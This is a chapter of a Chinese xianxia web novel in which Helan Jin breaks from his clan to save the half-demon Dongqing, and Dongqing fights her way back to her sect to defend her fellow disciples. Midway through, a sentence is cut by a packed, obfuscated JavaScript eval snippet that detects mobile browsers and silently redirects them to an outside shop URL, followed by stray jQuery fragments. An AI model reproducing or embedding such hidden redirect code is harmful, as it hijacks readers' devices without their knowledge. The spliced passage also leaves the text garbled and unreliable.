凌源罗岛。
贺兰烬在与冬青他们分开后,便被毕水“请”了回去。
此刻温暖的岛屿上艳阳如春,青光阁后面的祠堂内却阴冷刺骨,贺兰烬跪在地上,寒气找到了热源,针扎一样钻进膝盖里取暖。
流油“喵”的一声窜到他脚边,在他身边闻了闻,似乎没有闻到曾经那熟悉的气味,迟疑着蹭回毕水脚边。
毕水将门小心翼翼的推开一条缝,光线射进来,刺得他闭了闭眼睛。他往外扫视两眼,见守卫正三个两个偷着懒,飞快把门一关,走到贺兰烬边上握住他的胳膊,“少主,别倔了,您都跪一天了。”
“无妨,又不是没跪过。”贺兰烬浑不在乎地挥挥手,掐着流油的腰将其提溜到自己腿上,挠着下巴。
流油感受到那熟悉的力道,也不挣扎了,在他腿上找了个舒服的姿势窝着睡觉。
“家主今天去破阵子了,您快起来歇歇吧!”毕水急道,“都怪属下不好,没能瞒住您去仙人顶的事。”
贺兰烬一听这话,立刻向后一仰,面对着烛火摇曳的列祖列宗盘坐在地上,手中摩挲着一面雕工拙劣的小镜子,“别把什么都往自己身上揽,我也没指望你瞒住。”
毕水看见那镜子,不解道,“您什么时候喜欢这种丑东西了?”
“你眼瞎了?”贺兰烬瞪他一眼,侧过身将镜子挡住,不给他看,“价值连城,给你看一眼都是亵渎!”
毕水摸摸鼻子,难不成真是他不识货?这刻得歪歪扭扭的丑镜子其实法力无边?
这时,紧闭的门外掠过翅膀扑簌声,贺兰烬一听就知道,是他爹的信鸽。
“毕水。”他招招手,“你去把信截下来。”
“?”毕水哭丧着脸,“少主,属下还想再活两年。”
他“啧”了一声,“你去不去?不去我自己去。”
毕水真是拿他没辙了,忙把他按住,“去去去,属下这就去。”
说完他视死如归的握紧佩剑,像个奔赴战场的将士一样抛头颅洒热血去了。
贺兰烬依旧抚摸着那块镜子,偶尔装模作样的给列祖列宗续续香火。不大功夫,毕水就悄悄翻窗回来了。
他一手捏着信鸽翅膀,一手紧紧捂着它鸟喙不让它叫。信还系在信鸽脚边,没人拆过。
贺兰烬折扇一勾,那信笺缓缓飞出来,在他面前展开。
“亲启诸位家主台鉴:今有实证,仙人顶逍遥门弟子冬青,实为半妖之身,潜伏人世久矣。为除妖氛、安社稷,恳请诸位切勿私藏庇佑,协力共擒此妖,以正纲纪。”
落款,折云宗,江拂。
毕水尽职尽责的钳制着信鸽,忽然看到自家少主神色具变,他手一松,信鸽如离弦之箭冲了出去,叼起信笺化作一抹白光从窗缝钻了出去。
贺兰烬面色凝重,根本顾不上什么信鸽,抓起腿上的流油扔给毕水,一撩衣袍向外快步走去。
“少主你去哪啊!”毕水一个滑跪来到贺兰烬面前,“少主,家主不让你离开。”
“别拦着我。”贺兰烬此刻完全收敛了方才那副混不吝的模样,上挑的狭长双眼没有一丝笑意,声音冰冷,听得毕水忍不住打了个寒颤。
他一把推开毕水,甫一出门,门外四散的守卫瞬间乌泱泱围了上来,拦在他面前。
贺兰烬冷笑一声,手中玉折扇“唰”地展开,凌厉真气迸发,无形气浪将一排守卫连连逼退数步,他横扇身前,“确定要跟我打吗?”
守卫们对视一眼,纷纷拔出佩剑,“少主,对不住了,家主有令,属下们不能让您离开!”
忽然一声厉喝自身后由远及近地传来,擦过耳畔,又呼啸向前。毕水拎着剑冲进守卫中,“少主快走!”
贺兰烬勾起唇角,无声的笑了一下,他足尖发力,蹬住其中一个守卫的肩膀跃过重重包围,“毕水,等我回来,准备领赏!”
“得嘞!”毕水如一堵密不透风的高墙,将守卫们拦了个水泄不通,等有守卫冲出拦截时,贺兰烬早已不见踪影了。
贺兰烬一路疾奔至凌源罗岛边缘,驭使一朵兰花载着他出岛。
东平海面波光粼粼,如锦似缎,兰花行至海面上方,忽然毫无征兆的停住了。
下一刻,兰花骤然崩裂粉碎,贺兰烬脚下一空,猝不及防地向下坠落,他急忙甩出金黄纸船,纸船被他砸的左摇右晃,在半空中飘摇着稳住了身形。
四分五裂的花瓣“噗通”几声掉进海面,溅起高高的浪花。
贺兰烬扒着船沿站起身来,有一道阴影自上而下笼罩住他,他抬头看向那逆光的身影,咬牙恨声道,“家主!”
“不许去。”贺兰虚淮立在半空,微风拂起他的发,那张贺兰烬肖似的面庞上毫无波澜,“若你是要去救那妖女,不准去。”
贺兰烬胸口剧烈起伏,他攥紧手中折扇,骨节用力发白,“若我偏要去呢?”
贺兰虚淮皱起眉头,他抬手轻轻一挥,贺兰烬脚下的纸船便如焚烧一般从船头开始灰飞烟灭,他“咚”一声砸进海里,随着浪在海面上起伏,他没有从海里出来的打算,只是抹了一把脸,双眼赤红地盯着贺兰虚淮,字字泣血:
“从小…从小你们就教我,我是贺兰家的嫡子,我得担起贺兰家的责任。我照做了,我一直努力地、拼命地想成为一个合格的贺兰少主,但谁在意过我真正想要什么?!我现在只想让冬青活下去!我若连我想保护的人都护不住,我也担不起这贺兰少主的称呼了。”
他从腰间摸出一把匕首,握住自己垂落肩头的一缕长发,狠狠一削!
贺兰虚淮瞳孔骤然一缩。
一阵光芒闪过,海面上便再没有了贺兰烬的身影。
那截乌发随风飘散在海面上,贺兰虚淮缓缓下落,拾起一小截湿透的发丝,久久无言。
冬青传送至长生山脚,刚一落地她便拔腿向山门跑。
山尖突兀的亮起蓝色光柱,往日沉寂的长生山好似喧哗起来,嘈杂的声音远远飘进冬青的耳朵,听的她心头一沉。
守山弟子遥遥望见那踉跄奔来的青色身影,浑身猛然一抖,连忙三步并作两步滑下山去,拦在了冬青面前,“冬青,快走!长老们要抓你!快走!”
“我知道。”冬青气还没喘匀,“劳烦开门。”
“冬青!”守山弟子把她往山下推,被她一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16836474|180025||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
把握住手腕。
她浑身浴血,像一根斑驳的青竹立在山门前,黑沉的眼眸浸满血色,声音此时冰冷的可怕,“开不开,不开我就要硬闯了。”
不等守山弟子说话,冬青便格开他,手中无垢梵玉自上而下一划,流光溢彩的山门便被划开一道突兀的裂隙。
“我师兄他们在哪?”冬青回头问他。
守山弟子自知拦不住,便索性将山门打开,“在逍遥门。”
“多谢。”冬青头也不回的跨过山门,向逍遥门的方向奔去。
那蓝色光柱越来越近,冬青心也跳的越来越快。
整个逍遥门被笼罩在那光柱内,光柱内光影交织,爆破声不绝,四溅尘土碎石砸在光柱上,发出噼里啪啦的闷响。
整个仙人顶一众长老和弟子围在光柱前,看困兽一般静静注视着光柱内景象。
漫天尘土间,柳又青半跪在地,身前一滩刺目鲜血,沈秋溪正与苜岚子缠斗,也浑身是伤。
冬青目眦欲裂,一头扎进光柱内。
沈秋溪四周符咒极速燃烧,一道道雷光从头顶劈下,试图逼退苜岚子手中如鬼魅般近身的蓝色弯刃。
他不能反抗,也不能投降,反抗意味着违背师门,投降意味着承认冬青是蛰伏在仙人顶的半妖,他都不能选,只能抵抗。
就在那蓝色弯刃避开所有雷光直逼沈秋溪肩膀时——
铿!
一声清脆撞击在身后响起,冬青手持无垢梵玉挡住那弯月,狠狠一抵!
弯月咔嚓一声从月腹处裂开一道细纹,冬青伸手用力握住那道裂隙,尖锐的裂口扎进手掌,鲜血涌出。
可鲜血并没有掉在地上,而是顺着那裂隙钻进去,像对付席子昂那样,控制弯月中的灵,将其从内向外崩断!
“冬青?!”沈秋溪和柳又青同时失色,“你回来干什么!”
冬青浑身是血,无垢梵玉被她的血浸透,从青色变成斑驳的鲜红,她浑身戾气,和平时判若两人,“不回来,让我看着你们死吗?”
“妖女!你还敢回来!”门外立刻有长老指着她叫嚷。
冬青垂下头,轻声笑了一下,随后睫羽一抬,那双黑沉的没有笑意的眼睛扫向光柱外的人群,“你们的消息够灵通,江拂告诉你们的?”
“大胆,竟敢直言弗如仙师名讳!”
“呵。”冬青抹了一把脸上的血,“江拂和席子昂一直在骗你们,白晓城、嘉阳村、镜湖……都是他们一手策划,为的就是挑起人妖对立,好提升他们那点可笑的修为!”
“这……”人群中立刻喧哗起来。
“大胆!”苜岚子吼道,“妖言惑众,你们不相信弗如仙师和席谷主,竟然相信一个半妖的话吗?”
“抓住她!”她看向沈秋溪和柳又青,“连同这两个叛徒一起关入寒潭!”
“慢着!”忽然一声厉喝从人群中传来,喧哗一下平息,人群不自觉向两侧挪开,露出后面的女子。
“娘!”柳又青双眼顿时亮起。
“苜岚子长老。”柳兰瑛一袭红衣,缓步走到人群前,眼神凌厉,“动我未来的柳家家主,经过我同意了吗?”